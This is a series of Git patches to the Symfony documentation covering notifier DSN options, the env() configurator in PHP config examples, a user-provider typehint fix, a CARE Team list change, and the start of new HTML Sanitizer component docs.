-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
 Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``

From b2db45df90fe937a1b9304293e3ad186b321e6ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 May 2022 17:58:20 +0200
Subject: [PATCH 3246/7107] Add the versionadded directive

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index ed094d51f09..28b576aa183 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -93,6 +93,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 .. versionadded:: 6.1
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
+    The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From ea77f20f317ac9e87c029f0e42c6401a192817bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 May 2022 16:37:05 +0200
Subject: [PATCH 3247/7107] Update the list of members of the CARE Team

---
 contributing/code_of_conduct/care_team.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8c09a2b936f..fb2c60faebd 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -37,11 +37,6 @@ of them at once by emailing ** care@symfony.com **.
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
   * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
-* **Valentine Boineau**
-
-  * *E-mail*: valentine.boineau [at] gmail.com
-  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
-
 * **Magali Milbergue**
 
   * *E-mail*: magali.milbergue [at] gmail.com

From e0e8a746985057c61b8affc44dabb3684a8452f5 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 14 May 2022 11:46:25 +0200
Subject: [PATCH 3248/7107] Use PHP-DSL `env()` configurator when possible

---
 configuration.rst                     |  8 ++++++++
 configuration/env_var_processors.rst  | 10 +++++++++-
 configuration/secrets.rst             |  2 +-
 doctrine/multiple_entity_managers.rst |  4 ++--
 lock.rst                              |  2 +-
 mailer.rst                            |  8 ++++----
 messenger.rst                         | 14 +++++++-------
 notifier.rst                          | 12 ++++++------
 reference/configuration/framework.rst | 14 +++++++-------
 security/access_control.rst           |  4 ++--
 session/database.rst                  |  4 ++--
 translation.rst                       |  2 +-
 12 files changed, 50 insertions(+), 34 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e74eaa8b862..621cbc27094 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -644,10 +644,18 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
+                    // or
+                    'url' => env('DATABASE_URL')->resolve(),
                 ],
             ]);
         };
 
+.. versionadded:: 5.3
+
+    The ``env()`` configurator syntax was introduced in 5.3.
+    In ``PHP`` configuration files, it will allow to autocomplete methods based
+    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
+
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2e73b823da4..4d2615fc3b6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -50,10 +50,18 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
 
         return static function (FrameworkConfig $framework) {
             $framework->router()
+                ->httpPort('%env(int:HTTP_PORT)%')
+                // or
                 ->httpPort(env('HTTP_PORT')->int())
             ;
         };
 
+.. versionadded:: 5.3
+
+    The ``env()`` configurator syntax was introduced in 5.3.
+    In ``PHP`` configuration files, it will allow to autocomplete methods based
+    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
+
 Built-In Environment Variable Processors
 ----------------------------------------
 
@@ -241,7 +249,7 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
-                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+                    ->methods([env('HEALTH_CHECK_METHOD')->const()]);
             };
 
 ``env(base64:FOO)``
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 950f68528a3..5783ca9d918 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -148,7 +148,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         return static function (DoctrineConfig $doctrine) {
             $doctrine->dbal()
                 ->connection('default')
-                    ->password('%env(DATABASE_PASSWORD)%')
+                    ->password(env('DATABASE_PASSWORD'))
             ;
         };
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index e94ef907f57..856e796a2e9 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -136,7 +136,7 @@ The following configuration code shows how you can configure two entity managers
             // configure these for your database server
             $doctrine->dbal()
                 ->connection('default')
-                ->url('%env(resolve:DATABASE_URL)%')
+                ->url(env('DATABASE_URL')->resolve())
                 ->driver('pdo_mysql')
                 ->serverVersion('5.7')
                 ->charset('utf8mb4');
@@ -144,7 +144,7 @@ The following configuration code shows how you can configure two entity managers
             // configure these for your database server
             $doctrine->dbal()
                 ->connection('customer')
-                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->url(env('DATABASE_CUSTOMER_URL')->resolve())
                 ->driver('pdo_mysql')
                 ->serverVersion('5.7')
                 ->charset('utf8mb4');
diff --git a/lock.rst b/lock.rst
index 9fb207b927f..5d864fb0089 100644
--- a/lock.rst
+++ b/lock.rst
@@ -149,7 +149,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
-                ->resource('default', ['%env(LOCK_DSN)%'])
+                ->resource('default', [env('LOCK_DSN')])
 
                 // named locks
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
diff --git a/mailer.rst b/mailer.rst
index b79a61bb5cb..07fe907ab9a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -60,7 +60,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [
-                    'dsn' => '%env(MAILER_DSN)%',
+                    'dsn' => env('MAILER_DSN'),
                 ],
             ]);
         };
@@ -1170,8 +1170,8 @@ This can be configured by replacing the ``dsn`` configuration entry with a
 
         return static function (FrameworkConfig $framework) {
             $framework->mailer()
-                ->transport('main', '%env(MAILER_DSN)%')
-                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+                ->transport('main', env('MAILER_DSN'))
+                ->transport('alternative', env('MAILER_DSN_IMPORTANT'))
             ;
         };
 
@@ -1243,7 +1243,7 @@ you have a transport called ``async``, you can route the message there:
 
         return static function (FrameworkConfig $framework) {
             $framework->messenger()
-                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+                ->transport('async')->dsn(env('MESSENGER_TRANSPORT_DSN'));
 
             $framework->messenger()
                 ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
diff --git a/messenger.rst b/messenger.rst
index 016274aec79..4e1dae322de 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -193,12 +193,12 @@ that uses this configuration:
         return static function (FrameworkConfig $framework) {
             $framework->messenger()
                 ->transport('async')
-                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
             ;
 
             $framework->messenger()
                 ->transport('async')
-                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                     ->options([])
             ;
         };
@@ -593,11 +593,11 @@ different messages to them. For example:
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['queue_name' => 'high']);
 
             $messenger->transport('async_priority_low')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['queue_name' => 'low']);
 
             $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
@@ -847,7 +847,7 @@ this is configurable for each transport:
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 // default configuration
                 ->retryStrategy()
                     ->maxRetries(3)
@@ -1063,7 +1063,7 @@ override the failure transport for only specific transports:
             $messenger->failureTransport('failed_default');
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->failureTransport('failed_high_priority');
 
             // since no failed transport is configured, the one used will be
@@ -1151,7 +1151,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
             $messenger = $framework->messenger();
 
             $messenger->transport('my_transport')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['auto_setup' => false]);
         };
 
diff --git a/notifier.rst b/notifier.rst
index 786614e2ecd..79b4480a096 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -158,7 +158,7 @@ configure the ``texter_transports``:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+                ->texterTransport('twilio', env('TWILIO_DSN'))
             ;
         };
 
@@ -255,7 +255,7 @@ Chatters are configured using the ``chatter_transports`` setting:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+                ->chatterTransport('slack', env('SLACK_DSN'))
             ;
         };
 
@@ -319,7 +319,7 @@ notification emails:
 
         return static function (FrameworkConfig $framework) {
             $framework->mailer()
-                ->dsn('%env(MAILER_DSN)%')
+                ->dsn(env('MAILER_DSN'))
                 ->envelope()
                     ->sender('notifications@example.com')
             ;
@@ -390,7 +390,7 @@ configure the ``texter_transports``:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->texterTransport('expo', '%env(EXPO_DSN)%')
+                ->texterTransport('expo', env('EXPO_DSN'))
             ;
         };
 
@@ -454,10 +454,10 @@ transport:
             $framework->notifier()
                 // Send notifications to Slack and use Telegram if
                 // Slack errored
-                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
+                ->chatterTransport('main', env('SLACK_DSN').' || '.env('TELEGRAM_DSN'))
 
                 // Send notifications to the next scheduled transport calculated by round robin
-                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+                ->chatterTransport('roundrobin', env('SLACK_DSN').' && '.env('TELEGRAM_DSN'))
             ;
         };
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce8f8291db2..d5ee18b0e1a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -298,7 +298,7 @@ some environment variable that stores the name of the IDE/editor:
 
         return static function (FrameworkConfig $framework) {
             // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:CODE_EDITOR)%');
+            $framework->ide(env('CODE_EDITOR')->resolve());
         };
 
 .. versionadded:: 5.3
@@ -596,14 +596,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -617,9 +617,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
@@ -3210,7 +3210,7 @@ A list of lock stores to be created by the framework extension.
 
         return static function (FrameworkConfig $framework) {
             $framework->lock()
-                ->resource('default', ['%env(LOCK_DSN)%']);
+                ->resource('default', [env('LOCK_DSN')]);
         };
 
 .. seealso::
diff --git a/security/access_control.rst b/security/access_control.rst
index 57c70fce5df..df9536fef2c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -120,12 +120,12 @@ Take the following ``access_control`` entries as an example:
             $security->accessControl()
                 ->path('^/admin')
                 ->roles(['ROLE_USER_IP'])
-                ->ips(['%env(TRUSTED_IPS)%'])
+                ->ips([env('TRUSTED_IPS')])
             ;
             $security->accessControl()
                 ->path('^/admin')
                 ->roles(['ROLE_USER_IP'])
-                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+                ->ips(['127.0.0.1', '::1', env('TRUSTED_IPS')])
             ;
         };
 
diff --git a/session/database.rst b/session/database.rst
index 16715c2b150..050eebb6a9d 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -229,7 +229,7 @@ first register a new handler service with your database credentials:
 
             $services->set(PdoSessionHandler::class)
                 ->args([
-                    '%env(DATABASE_URL)%',
+                    env('DATABASE_URL'),
                     // you can also use PDO configuration, but requires passing two arguments:
                     // 'mysql:dbname=mydatabase; host=myhost; port=myport',
                     // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
@@ -334,7 +334,7 @@ passed to the ``PdoSessionHandler`` service:
 
             $services->set(PdoSessionHandler::class)
                 ->args([
-                    '%env(DATABASE_URL)%',
+                    env('DATABASE_URL'),
                     ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
                 ])
             ;
diff --git a/translation.rst b/translation.rst
index 6c18cf3e6f0..dc5288a09f0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -714,7 +714,7 @@ configure the ``providers`` option:
             'translator' => [
                 'providers' => [
                     'loco' => [
-                        'dsn' => '%env(LOCO_DSN)%',
+                        'dsn' => env('LOCO_DSN'),
                         'domains' => ['messages'],
                         'locales' => ['en', 'fr'],
                     ],

From 5eb3931dfc592dc6670c157fe71161ad4a51d650 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 May 2022 17:32:43 +0200
Subject: [PATCH 3249/7107] Remove some unneeded versionadded directives

---
 configuration.rst                    | 6 ------
 configuration/env_var_processors.rst | 6 ------
 2 files changed, 12 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 9995eeb0929..85e3e23adf4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -645,12 +645,6 @@ This example shows how you could configure the database connection using an env
             ]);
         };
 
-.. versionadded:: 5.3
-
-    The ``env()`` configurator syntax was introduced in 5.3.
-    In ``PHP`` configuration files, it will allow to autocomplete methods based
-    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
-
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8d10c433549..84bccba97d5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -56,12 +56,6 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
             ;
         };
 
-.. versionadded:: 5.3
-
-    The ``env()`` configurator syntax was introduced in 5.3.
-    In ``PHP`` configuration files, it will allow to autocomplete methods based
-    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
-
 Built-In Environment Variable Processors
 ----------------------------------------
 

From 7fb76a59ae1f2cda0505750c5c522b5097af4c26 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Tue, 10 May 2022 15:09:54 +0300
Subject: [PATCH 3250/7107] [Security] Fix typehint in custom user provider

---
 security/user_providers.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 07212acbf0b..0e202283a83 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -290,6 +290,7 @@ command will generate a nice skeleton to get you started::
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
     use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
@@ -347,13 +348,13 @@ command will generate a nice skeleton to get you started::
         }
 
         /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
          */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
-            // TODO: when encoded passwords are in use, this method should:
+            // TODO: when hashed passwords are in use, this method should:
             // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+            // 2. update the $user object with $user->setPassword($newHashedPassword);
         }
     }
 

From 5f3cfeb3d4f1c654b9d0b1e7dfa0a6880a95b220 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 6 May 2022 00:08:33 +0200
Subject: [PATCH 3251/7107] [HTML Sanitizer] Write documentation

---
 html_sanitizer.rst                            | 1027 +++++++++++++++++
 index.rst                                     |    1 +
 reference/configuration/framework.rst         |   11 +
 .../forms/types/options/sanitize_html.rst.inc |   18 +
 .../forms/types/options/sanitizer.rst.inc     |   11 +
 reference/forms/types/text.rst                |    4 +
 reference/forms/types/textarea.rst            |   11 +
 reference/twig_reference.rst                  |   19 +
 8 files changed, 1102 insertions(+)
 create mode 100644 html_sanitizer.rst
 create mode 100644 reference/forms/types/options/sanitize_html.rst.inc
 create mode 100644 reference/forms/types/options/sanitizer.rst.inc

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
new file mode 100644
index 00000000000..ab7ba7bc875
--- /dev/null
+++ b/html_sanitizer.rst
@@ -0,0 +1,1027 @@
+HTML Sanitizer
+==============
+
+.. versionadded:: 6.1
+
+    The HTML Sanitizer component was introduced in Symfony 6.1.
+
+The HTML Sanitizer components aims at sanitizing/cleaning untrusted HTML
+code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
+be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
+
+The HTML sanitizer creates a new HTML structure from scratch, taking only
+the elements and attributes that are allowed by configuration. This means
+that the returned HTML is very predicatable (it only contains allowed
+elements), but it does not work well with badly formatted input (e.g.
+invalid HTML). The sanitizer is targetted for two use-cases:
+
+* Preventing security attacks based on XSS or other technologies relying on
+  execution of malicious code on the visitors browsers;
+* Generating HTML that always respects a certain format (only certain
+  tags, attributes, hosts, etc.) to be able to consistently style the
+  resulting output with CSS. This also protects your application against
+  attacks related to e.g. changing the CSS of the whole page.
+
+.. _html-sanitizer-installation:
+
+Installation
+------------
+
+You can install the HTML Sanitizer component with:
+
+.. code-block:: terminal
+
+    $ composer require symfony/html-sanitizer
+
+Basic Usage
+-----------
+
+Use the :class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer` class to
+sanitize the HTML. In the Symfony framework, this class is available as the
+``html_sanitizer`` service. This service will be :doc:`autowired </service_container/autowiring>`
+automatically when type-hinting for
+:class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerInterface`:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/BlogPostController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+
+        class BlogPostController extends AbstractController
+        {
+            public function createAction(HtmlSanitizerInterface $htmlSanitizer, Request $request): Response
+            {
+                $unsafeContents = $request->request->get('post_contents');
+
+                $safeContents = $htmlSanitizer->sanitize($unsafeContents);
+                // ... proceed using the safe HTML
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $htmlSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())->allowSafeElements()
+        );
+
+        // unsafe HTML (e.g. from a WYSIWYG editor in the browser)
+        $unsafePostContents = ...;
+
+        $safePostContents = $htmlSanitizer->sanitize($unsafePostContents);
+        // ... proceed using the safe HTML
+
+.. note::
+
+    The default configuration of the HTML sanitizer allows all "safe"
+    elements and attributes, as defined by the `W3C Standard Proposal`_. In
+    practice, this means that the resulting code will not contain any
+    scripts, styles or other elements that can cause the website to behave
+    or look different. Later in this article, you'll learn how to
+    :ref:`fully customize the HTML sanitizer <html-sanitizer-configuration>`.
+
+Sanitizing HTML for a Specific Context
+--------------------------------------
+
+The default :method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitize`
+method cleans the HTML code for usage in the ``<body>`` element. Using the
+:method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitizeFor`
+method, you can instruct HTML sanitizer to customize this for the
+``<head>`` or a more specific HTML tag::
+
+    // tags not allowed in <head> will be removed
+    $safeInput = $htmlSanitizer->sanitizeFor('head', $userInput);
+
+    // encodes the returned HTML using HTML entities
+    $safeInput = $htmlSanitizer->sanitizeFor('title', $userInput);
+    $safeInput = $htmlSanitizer->sanitizeFor('textarea', $userInput);
+
+    // uses the <body> context, removing tags only allowed in <head>
+    $safeInput = $htmlSanitizer->sanitizeFor('body', $userInput);
+    $safeInput = $htmlSanitizer->sanitizeFor('section', $userInput);
+
+Sanitizing HTML from Form Input
+-------------------------------
+
+The HTML sanitizer component directly integrates with Symfony Forms, to
+sanitize the form input before it is processed by your application.
+
+You can enable the sanitizer in ``TextType`` forms, or any form extending
+this type (such as ``TextareaType``), using the ``sanitize_html`` option::
+
+    // src/Form/BlogPostType.php
+    namespace App\Form;
+
+    // ...
+    class BlogPostType extends AbstractType
+    {
+        // ...
+
+        public function configureOptions(OptionsResolver $resolver): void
+        {
+            $resolver->setDefaults([
+                'sanitize_html' => true,
+                // use the "sanitizer" option to use a custom sanitizer (see below)
+                //'sanitizer' => 'app.post_sanitizer',
+            ]);
+        }
+    }
+
+.. _html-sanitizer-twig:
+
+Sanitizing HTML in Twig Templates
+---------------------------------
+
+Besides sanitizing user input, you can also sanitize HTML code before
+outputting it in a Twig template using the ``sanitize_html()`` filter:
+
+.. code-block:: twig
+
+    {{ post.body|sanitize_html }}
+
+    {# you can also use a custom sanitizer (see below) #}
+    {{ post.body|sanitize_html('app.post_sanitizer') }}
+
+.. _html-sanitizer-configuration:
+
+Configuration
+-------------
+
+The behavior of the HTML sanitizer can be fully customized. This allows you
+to explicitly state which elements, attributes and even attribute values
+are allowed.
+
+You can do this by defining a new HTML sanitizer in the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        block_elements:
+                            - h1
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <framework:block-element name="h1"/>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->blockElement('h1')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->blockElement('h1')
+        );
+
+This configuration defines a new ``html_sanitizer.sanitizer.app.post_sanitizer``
+service. This service will be :doc:`autowired </service_container/autowiring>`
+for services having an ``HtmlSanitizerInterface $appPostSanitizer`` parameter.
+
+Allow Element Baselines
+~~~~~~~~~~~~~~~~~~~~~~~
+
+You can start the custom HTML sanitizer by using one of the two baselines:
+
+Static elements
+    All elements and attributes on the baseline allow lists from the
+    `W3C Standard Proposal`_ (this does not include scripts).
+Safe elements
+    All elements and attributes from the "static elements" list, excluding
+    elements and attributes that can also lead to CSS
+    injection/click-jacking.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # enable either of these
+                        allow_safe_elements: true
+                        allow_all_static_elements: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow-safe-elements/allow-all-static-elements:
+                         enable either of these -->
+                    <framework:sanitizer
+                        name="app.post_sanitizer"
+                        allow-safe-elements="true"
+                        allow-all-static-elements="true"
+                    />
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // enable either of these
+                    ->allowSafeElements(true)
+                    ->allowAllStaticElements(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // enable either of these
+                ->allowSafeElements()
+                ->allowAllStaticElements()
+        );
+
+Allow Elements
+~~~~~~~~~~~~~~
+
+This adds elements to the allow list. For each element, you can also
+specify the allowed attributes on that element. If not given, all allowed
+attributes from the `W3C Standard Proposal`_ are allowed.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_elements:
+                            # allow the <article> element and 2 attributes
+                            article: ['class', 'data-attr']
+                            # allow the <img> element and preserve the src attribute
+                            img: 'src'
+                            # allow the <h1> element with all safe attributes
+                            h1: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow-safe-elements/allow-all-static-elements:
+                         enable either of these -->
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- allow the <article> element and 2 attributes -->
+                        <framework:allow-element name="article">
+                            <framework:attribute>class</framework:attribute>
+                            <framework:attribute>data-attr</framework:attribute>
+                        </framework:allow-element>
+
+                        <!-- allow the <img> element and preserve the src attribute -->
+                        <framework:allow-element name="img">
+                            <framework:attribute>src</framework:attribute>
+                        </framework:allow-element>
+
+                        <!-- allow the <h1> element with all safe attributes -->
+                        <framework:allow-element name="img">
+                            <framework:attribute>*</framework:attribute>
+                        </framework:allow-element>
